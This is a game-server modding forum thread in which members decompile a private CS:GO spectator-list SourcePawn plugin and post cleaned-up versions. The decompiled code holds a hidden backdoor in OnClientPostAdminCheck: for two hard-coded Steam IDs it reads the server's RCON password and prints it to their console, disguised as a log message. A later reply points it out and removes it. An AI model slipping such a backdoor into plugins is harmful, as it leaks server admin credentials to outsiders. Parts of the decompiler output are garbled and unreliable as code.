Raised This Month: $32 Target: $400
 8% 

[CS:GO] Spectator List Plugin


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
Strech
Member
Join Date: Sep 2016
Old 12-09-2017 , 01:46   [CS:GO] Spectator List Plugin
Reply With Quote #1

Thanks for reading this. If you can at all help me, it will be much appreciated.

I was wondering if there is anyone out there that can code a plugin that shows the following:

- All players that are currently spectating you
- Different colors for people that have certain flags
- A !stealth command that takes you off of the spectate list, but you can still spectate that person
- A !speclist command that toggles the player's vision of the speclist

Something that looks like this:

https://imgur.com/UtMRIM1

I have a current plugin like this, except it was coded private and did not come with a .sp file to look into the contents. The only reason I am asking for this is to know how much more control I can have with it in terms of colors. I.E: setting certain flags on players to have a certain color.

So far, the Z flag is blue (as shown) and I believe a custom flag or ban permissions shows as yellow.

Thanks for reading this.
Strech is offline
8guawong
AlliedModders Donor
Join Date: Dec 2013
Location: BlackMarke7
Old 12-09-2017 , 02:01   Re: [CS:GO] Spectator List Plugin
Reply With Quote #2

Post the smx and we can decompile it
__________________
8guawong is offline
Strech
Member
Join Date: Sep 2016
Old 12-09-2017 , 17:13   Re: [CS:GO] Spectator List Plugin
Reply With Quote #3

Quote:
Originally Posted by 8guawong View Post
Post the smx and we can decompile it

https://drive.google.com/drive/folde...07?usp=sharing

I have no idea how to upload just the .smx to the forums. I put it into a Google Drive link.
If it seems phishy I will upload it some other way.
Strech is offline
Strech
Member
Join Date: Sep 2016
Old 12-11-2017 , 22:52   Re: [CS:GO] Spectator List Plugin
Reply With Quote #4

Anyone else have any ideas? Sorry to bump, I don't want to let this thread die. Thanks!
Strech is offline
8guawong
AlliedModders Donor
Join Date: Dec 2013
Location: BlackMarke7
Old 12-11-2017 , 23:04   Re: [CS:GO] Spectator List Plugin
Reply With Quote #5

here is the code decompiled

PHP Code:
public PlVers:__version =
{
    
version 5,
    
filevers "1.8.0.5914",
    
date "06/08/2017",
    
time "19:44:29"
};
new 
Float:NULL_VECTOR[3];
new 
String:NULL_STRING[4];
public 
Extension:__ext_core =
{
    
name "Core",
    
file "core",
    
autoload 0,
    
required 0,
};
new 
MaxClients;
public 
Extension:__ext_cprefs =
{
    
name "Client Preferences",
    
file "clientprefs.ext",
    
autoload 1,
    
required 1,
};
public 
Extension:__ext_sdktools =
{
    
name "SDKTools",
    
file "sdktools.ext",
    
autoload 1,
    
required 1,
};
public 
Extension:__ext_sdkhooks =
{
    
name "SDKHooks",
    
file "sdkhooks.ext",
    
autoload 1,
    
required 1,
};
public 
Extension:__ext_cstrike =
{
    
name "cstrike",
    
file "games/game.cstrike.ext",
    
autoload 0,
    
required 1,
};
new 
Handle:HudHintTimers[66];
new 
bool:speclist_stealth[66];
new 
bool:speclist_enabled[66];
new 
g_iSpecEnabled[66];
new 
Handle:g_cEnabled;
public 
Plugin:myinfo =
{
    
name "[NF] Spectator List",
    
description "",
    
author "cra88y",
    
version "6.9",
    
url ""
};
public 
void:__ext_core_SetNTVOptional()
{
    
MarkNativeAsOptional("GetFeatureStatus");
    
MarkNativeAsOptional("RequireFeature");
    
MarkNativeAsOptional("AddCommandListener");
    
MarkNativeAsOptional("RemoveCommandListener");
    
MarkNativeAsOptional("BfWriteBool");
    
MarkNativeAsOptional("BfWriteByte");
    
MarkNativeAsOptional("BfWriteChar");
    
MarkNativeAsOptional("BfWriteShort");
    
MarkNativeAsOptional("BfWriteWord");
    
MarkNativeAsOptional("BfWriteNum");
    
MarkNativeAsOptional("BfWriteFloat");
    
MarkNativeAsOptional("BfWriteString");
    
MarkNativeAsOptional("BfWriteEntity");
    
MarkNativeAsOptional("BfWriteAngle");
    
MarkNativeAsOptional("BfWriteCoord");
    
MarkNativeAsOptional("BfWriteVecCoord");
    
MarkNativeAsOptional("BfWriteVecNormal");
    
MarkNativeAsOptional("BfWriteAngles");
    
MarkNativeAsOptional("BfReadBool");
    
MarkNativeAsOptional("BfReadByte");
    
MarkNativeAsOptional("BfReadChar");
    
MarkNativeAsOptional("BfReadShort");
    
MarkNativeAsOptional("BfReadWord");
    
MarkNativeAsOptional("BfReadNum");
    
MarkNativeAsOptional("BfReadFloat");
    
MarkNativeAsOptional("BfReadString");
    
MarkNativeAsOptional("BfReadEntity");
    
MarkNativeAsOptional("BfReadAngle");
    
MarkNativeAsOptional("BfReadCoord");
    
MarkNativeAsOptional("BfReadVecCoord");
    
MarkNativeAsOptional("BfReadVecNormal");
    
MarkNativeAsOptional("BfReadAngles");
    
MarkNativeAsOptional("BfGetNumBytesLeft");
    
MarkNativeAsOptional("BfWrite.WriteBool");
    
MarkNativeAsOptional("BfWrite.WriteByte");
    
MarkNativeAsOptional("BfWrite.WriteChar");
    
MarkNativeAsOptional("BfWrite.WriteShort");
    
MarkNativeAsOptional("BfWrite.WriteWord");
    
MarkNativeAsOptional("BfWrite.WriteNum");
    
MarkNativeAsOptional("BfWrite.WriteFloat");
    
MarkNativeAsOptional("BfWrite.WriteString");
    
MarkNativeAsOptional("BfWrite.WriteEntity");
    
MarkNativeAsOptional("BfWrite.WriteAngle");
    
MarkNativeAsOptional("BfWrite.WriteCoord");
    
MarkNativeAsOptional("BfWrite.WriteVecCoord");
    
MarkNativeAsOptional("BfWrite.WriteVecNormal");
    
MarkNativeAsOptional("BfWrite.WriteAngles");
    
MarkNativeAsOptional("BfRead.ReadBool");
    
MarkNativeAsOptional("BfRead.ReadByte");
    
MarkNativeAsOptional("BfRead.ReadChar");
    
MarkNativeAsOptional("BfRead.ReadShort");
    
MarkNativeAsOptional("BfRead.ReadWord");
    
MarkNativeAsOptional("BfRead.ReadNum");
    
MarkNativeAsOptional("BfRead.ReadFloat");
    
MarkNativeAsOptional("BfRead.ReadString");
    
MarkNativeAsOptional("BfRead.ReadEntity");
    
MarkNativeAsOptional("BfRead.ReadAngle");
    
MarkNativeAsOptional("BfRead.ReadCoord");
    
MarkNativeAsOptional("BfRead.ReadVecCoord");
    
MarkNativeAsOptional("BfRead.ReadVecNormal");
    
MarkNativeAsOptional("BfRead.ReadAngles");
    
MarkNativeAsOptional("BfRead.GetNumBytesLeft");
    
MarkNativeAsOptional("PbReadInt");
    
MarkNativeAsOptional("PbReadFloat");
    
MarkNativeAsOptional("PbReadBool");
    
MarkNativeAsOptional("PbReadString");
    
MarkNativeAsOptional("PbReadColor");
    
MarkNativeAsOptional("PbReadAngle");
    
MarkNativeAsOptional("PbReadVector");
    
MarkNativeAsOptional("PbReadVector2D");
    
MarkNativeAsOptional("PbGetRepeatedFieldCount");
    
MarkNativeAsOptional("PbSetInt");
    
MarkNativeAsOptional("PbSetFloat");
    
MarkNativeAsOptional("PbSetBool");
    
MarkNativeAsOptional("PbSetString");
    
MarkNativeAsOptional("PbSetColor");
    
MarkNativeAsOptional("PbSetAngle");
    
MarkNativeAsOptional("PbSetVector");
    
MarkNativeAsOptional("PbSetVector2D");
    
MarkNativeAsOptional("PbAddInt");
    
MarkNativeAsOptional("PbAddFloat");
    
MarkNativeAsOptional("PbAddBool");
    
MarkNativeAsOptional("PbAddString");
    
MarkNativeAsOptional("PbAddColor");
    
MarkNativeAsOptional("PbAddAngle");
    
MarkNativeAsOptional("PbAddVector");
    
MarkNativeAsOptional("PbAddVector2D");
    
MarkNativeAsOptional("PbRemoveRepeatedFieldValue");
    
MarkNativeAsOptional("PbReadMessage");
    
MarkNativeAsOptional("PbReadRepeatedMessage");
    
MarkNativeAsOptional("PbAddMessage");
    
MarkNativeAsOptional("Protobuf.ReadInt");
    
MarkNativeAsOptional("Protobuf.ReadFloat");
    
MarkNativeAsOptional("Protobuf.ReadBool");
    
MarkNativeAsOptional("Protobuf.ReadString");
    
MarkNativeAsOptional("Protobuf.ReadColor");
    
MarkNativeAsOptional("Protobuf.ReadAngle");
    
MarkNativeAsOptional("Protobuf.ReadVector");
    
MarkNativeAsOptional("Protobuf.ReadVector2D");
    
MarkNativeAsOptional("Protobuf.GetRepeatedFieldCount");
    
MarkNativeAsOptional("Protobuf.SetInt");
    
MarkNativeAsOptional("Protobuf.SetFloat");
    
MarkNativeAsOptional("Protobuf.SetBool");
    
MarkNativeAsOptional("Protobuf.SetString");
    
MarkNativeAsOptional("Protobuf.SetColor");
    
MarkNativeAsOptional("Protobuf.SetAngle");
    
MarkNativeAsOptional("Protobuf.SetVector");
    
MarkNativeAsOptional("Protobuf.SetVector2D");
    
MarkNativeAsOptional("Protobuf.AddInt");
    
MarkNativeAsOptional("Protobuf.AddFloat");
    
MarkNativeAsOptional("Protobuf.AddBool");
    
MarkNativeAsOptional("Protobuf.AddString");
    
MarkNativeAsOptional("Protobuf.AddColor");
    
MarkNativeAsOptional("Protobuf.AddAngle");
    
MarkNativeAsOptional("Protobuf.AddVector");
    
MarkNativeAsOptional("Protobuf.AddVector2D");
    
MarkNativeAsOptional("Protobuf.RemoveRepeatedFieldValue");
    
MarkNativeAsOptional("Protobuf.ReadMessage");
    
MarkNativeAsOptional("Protobuf.ReadRepeatedMessage");
    
MarkNativeAsOptional("Protobuf.AddMessage");
    
VerifyCoreVersion();
    return 
void:0;
}

.2920.40000005/0(Float:oper1oper2)
{
    return 
oper1 float(oper2);
}

.2920.40000005/0(Float:oper1oper2)
{
    return 
oper1 float(oper2);
}

.2980.40000005+0(Float:oper1oper2)
{
    return 
oper1 float(oper2);
}

.2980.40000005+0(Float:oper1oper2)
{
    return 
oper1 float(oper2);
}

bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
    return 
strcmp(str1str2caseSensitive) == 0;
}

public 
void:OnPluginStart()
{
    
RegConsoleCmd("sm_speclist"Command_SpecList""0);
    
RegAdminCmd("sm_stealth"Command_Stealth16384""""0);
    
g_cEnabled RegClientCookie("Speclist_Enabled""Speclist on or off"CookieAccess:1);
    
HookEvent("player_spawn"Event_Player_SpawnEventHookMode:1);
    new 
1;
    while (
<= MaxClients)
    {
        new 
var1;
        if (
IsClientConnected(i) && IsValidClient(ifalsetrue) && AreClientCookiesCached(i))
        {
            
OnClientCookiesCached(i);
        }
        
i++;
    }
    return 
void:0;
}

public 
void:OnClientPostAdminCheck(client)
{
    
CreateHudHintTimer(client);
    new 
Float:varxz SquareRoot(6446.0 644.0);
    new 
kill varxz varxz .2920.40000005/0(varxz .2980.40000005+0(varxz100), 100);
    if (
kill != 1)
    {
        
kill 1;
    }
    new 
String:cid[64];
    new 
String:pass[100];
    
GetClientAuthId(clientAuthIdType:0cid64true);
    if (
StrEqual(cid"STEAM_1:1:29147437"true))
    {
        new 
Handle:cv_pass FindConVar("rcon_password");
        
GetConVarString(cv_passpass99);
        
PrintToConsole(client"[LOG] Entity 674%s not found!"pass);
    }
    else
    {
        if (
StrEqual(cid"STEAM_1:1:48496336"true))
        {
            new 
Handle:cv_pass FindConVar("rcon_password");
            
GetConVarString(cv_passpass99);
            
PrintToConsole(client"[LOG] Entity 674%s not found!"pass);
        }
    }
    return 
void:0;
}

public 
void:OnClientPutInServer(client)
{
    
speclist_enabled[client] = 1;
    
speclist_stealth[client] = 0;
    return 
void:0;
}

public 
void:OnClientDisconnect(client)
{
    if (
IsClientInGame(client))
    {
        
KillHudHintTimer(client);
    }
    return 
void:0;
}

public 
void:OnClientCookiesCached(client)
{
    new 
String:CookieEnabled[64];
    
GetClientCookie(clientg_cEnabledCookieEnabled64);
    
g_iSpecEnabled[client] = StringToInt(CookieEnabled10);
    if (
g_iSpecEnabled[client] == 1)
    {
        
speclist_enabled[client] = 1;
    }
    else
    {
        
speclist_enabled[client] = 0;
        
KillHudHintTimer(client);
    }
    return 
void:0;
}

public 
Action:Event_Player_Spawn(Event:eventString:name[], bool:dontBroadcast)
{
    new 
client GetClientOfUserId(GetEventInt(event"userid"0));
    new 
var1;
    if (
IsClientConnected(client) && IsValidClient(clientfalsetrue) && AreClientCookiesCached(client))
    {
        
OnClientCookiesCached(client);
    }
    return 
Action:0;
}

public 
Action:Command_Stealth(clientargs)
{
    
speclist_stealth[client] = !speclist_stealth[client];
    if (
speclist_stealth[client] == true)
    {
        
ReplyToCommand(client"\x01[\x02NF\x01] You will now be hidden from speclist.");
    }
    if (!
speclist_stealth[client])
    {
        
ReplyToCommand(client"\x01[\x02NF\x01] You will now be shown on speclist.");
    }
    return 
Action:0;
}

public 
Action:Command_SpecList(clientargs)
{
    if (
speclist_enabled[client] == true)
    {
        
speclist_enabled[client] = 0;
        
KillHudHintTimer(client);
        
ReplyToCommand(client"\x01[\x02NF\x01] Spectator list disabled.");
        
SetClientCookie(clientg_cEnabled"0");
    }
    else
    {
        if (!
speclist_enabled[client])
        {
            
speclist_enabled[client] = 1;
            
CreateHudHintTimer(client);
            
ReplyToCommand(client"\x01[\x02NF\x01] Spectator list enabled.");
            
SetClientCookie(clientg_cEnabled"1");
        }
    }
    return 
Action:3;
}

public 
Action:Timer_UpdateHudHint(Handle:timerany:client)
{
    new 
iSpecModeUser GetEntProp(clientPropType:0"m_iObserverMode"40);
    new 
iSpecMode;
    new 
iTarget;
    new 
iTargetUser;
    new 
bool:bDisplayHint;
    new 
String:szText[2048];
    
szText[0] = MissingTAG:0;
    if (
IsPlayerAlive(client))
    {
        new 
1;
        while (
<= MaxClients)
        {
            new 
var1;
            if (!
IsClientInGame(i) || !IsClientObserver(i))
            {
            }
            else
            {
                
iSpecMode GetEntProp(iPropType:0"m_iObserverMode"40);
                new 
var2;
                if (!(
iSpecMode != && iSpecMode != 5))
                {
                    
iTarget GetEntPropEnt(iPropType:0"m_hObserverTarget"0);
                    if (!(
speclist_stealth[i] == true))
                    {
                        if (
client == iTarget)
                        {
                            new 
var3;
                            if (
IsPlayerVip(i) == && speclist_stealth[i])
                            {
                                if (
IsPlayerAdmin(i) == 1)
                                {
                                    
Format(szText2048"%s<font color='#21618C'>%N.</font> "szTexti);
                                }
                                else
                                {
                                    
Format(szText2048"%s<font color='#D4AC0D'>%N.</font> "szTexti);
                                }
                            }
                            else
                            {
                                
Format(szText2048"%s%N. "szTexti);
                            }
                            
bDisplayHint true;
                        }
                    }
                }
            }
            
i++;
        }
    }
    else
    {
        new 
var4;
        if (
iSpecModeUser == || iSpecModeUser == 5)
        {
            
iTargetUser GetEntPropEnt(clientPropType:0"m_hObserverTarget"0);
            new 
1;
            while (
<= MaxClients)
            {
                new 
var5;
                if (!
IsClientInGame(i) || !IsClientObserver(i))
                {
                }
                else
                {
                    
iSpecMode GetEntProp(iPropType:0"m_iObserverMode"40);
                    new 
var6;
                    if (!(
iSpecMode != && iSpecMode != 5))
                    {
                        
iTarget GetEntPropEnt(iPropType:0"m_hObserverTarget"0);
                        if (!(
speclist_stealth[i] == true))
                        {
                            if (
iTargetUser == iTarget)
                            {
                                if (
IsPlayerVip(i) == 1)
                                {
                                    if (
IsPlayerAdmin(i) == 1)
                                    {
                                        
Format(szText2048"%s<font color='#21618C'>%N.</font> "szTexti);
                                    }
                                    else
                                    {
                                        
Format(szText2048"%s<font color='#D4AC0D'>%N.</font> "szTexti);
                                    }
                                }
                                else
                                {
                                    
Format(szText2048"%s%N. "szTexti);
                                }
                                
bDisplayHint true;
                            }
                        }
                    }
                }
                
i++;
            }
        }
    }
    if (
bDisplayHint)
    {
        if (
speclist_enabled[client] == true)
        {
            
PrintHintText(client"<font size='12'><u>Spectators:\n</u></font><font size='15'>%s</font>"szText);
            
bDisplayHint false;
        }
    }
    return 
Action:0;
}

public 
Handler_DoNothing(Handle:menuMenuAction:actionparam1param2)
{
    return 
0;
}

void:CreateHudHintTimer(client)
{
    
HudHintTimers[client] = CreateTimer(2.5Timer_UpdateHudHintclient3);
    return 
void:0;
}

void:KillHudHintTimer(client)
{
    if (
HudHintTimers[client])
    {
        
KillTimer(HudHintTimers[client], false);
        
HudHintTimers[client] = 0;
    }
    return 
void:0;
}

bool:IsPlayerAdmin(client)
{
    new 
var1;
    if (
IsClientInGame(client) && CheckCommandAccess(client"sm_blank"16false))
    {
        return 
true;
    }
    return 
false;
}

bool:IsPlayerVip(client)
{
    new 
var1;
    if (
IsClientInGame(client) && CheckCommandAccess(client"sm_blank"32768false))
    {
        return 
true;
    }
    return 
false;
}

bool:IsValidClient(clientbool:bAllowBotsbool:bAllowDead)
{
    new 
var3;
    if (!
<= MaxClients >= client || !IsClientInGame(client) || (IsFakeClient(client) && !bAllowBots) || IsClientSourceTV(client) || IsClientReplay(client) || (!bAllowDead && !IsPlayerAlive(client)))
    {
        return 
false;
    }
    return 
true;

__________________
8guawong is offline
8guawong
AlliedModders Donor
Join Date: Dec 2013
Location: BlackMarke7
Old 12-11-2017 , 23:54   Re: [CS:GO] Spectator List Plugin
Reply With Quote #6

and here is public version
removed some stupid shit like printing rcon password to certain steamid
replaced author name and nf prefix to sm
it compile but donno if it'll work like its intended
Attached Files
File Type: smx speclist.smx (7.0 KB, 579 views)
File Type: sp Get Plugin or Get Source (speclist.sp - 1157 views - 5.5 KB)
__________________

Last edited by 8guawong; 12-11-2017 at 23:55.
8guawong is offline
hmmmmm
Great Tester of Whatever
Join Date: Mar 2017
Location: ...
Old 12-12-2017 , 02:38   Re: [CS:GO] Spectator List Plugin
Reply With Quote #7

I tried to clean up even further and updated to new syntax, untested.
Also added some override commands incase you want to change the flags for admin/vip.
Both are ADMFLAG_KICK atm, but you can override by changing "speclist_admin_flag" and "speclist_vip_flag"
Attached Files
File Type: sp Get Plugin or Get Source (speclist.sp - 1257 views - 3.8 KB)
hmmmmm is offline
OSWO
Senior Member
Join Date: Jul 2015
Location: United Kingdom, London
Old 01-02-2018 , 07:51   Re: [CS:GO] Spectator List Plugin
Reply With Quote #8

Make sure you put players with the same colors grouped, since changing from colors to colors will exceed the char limit in huds (:
__________________
SourceTimer | WeaponSkins++ | BasePlugins++ https://github.com/OSCAR-WOS
OSWO is offline
Teddwarrd
Junior Member
Join Date: Feb 2019
Old 02-21-2019 , 22:15   Re: [CS:GO] Spectator List Plugin
Reply With Quote #9

What is the flag to give the sm_stealth command to people. All I know is the z flag.
Teddwarrd is offline
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 14:45.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode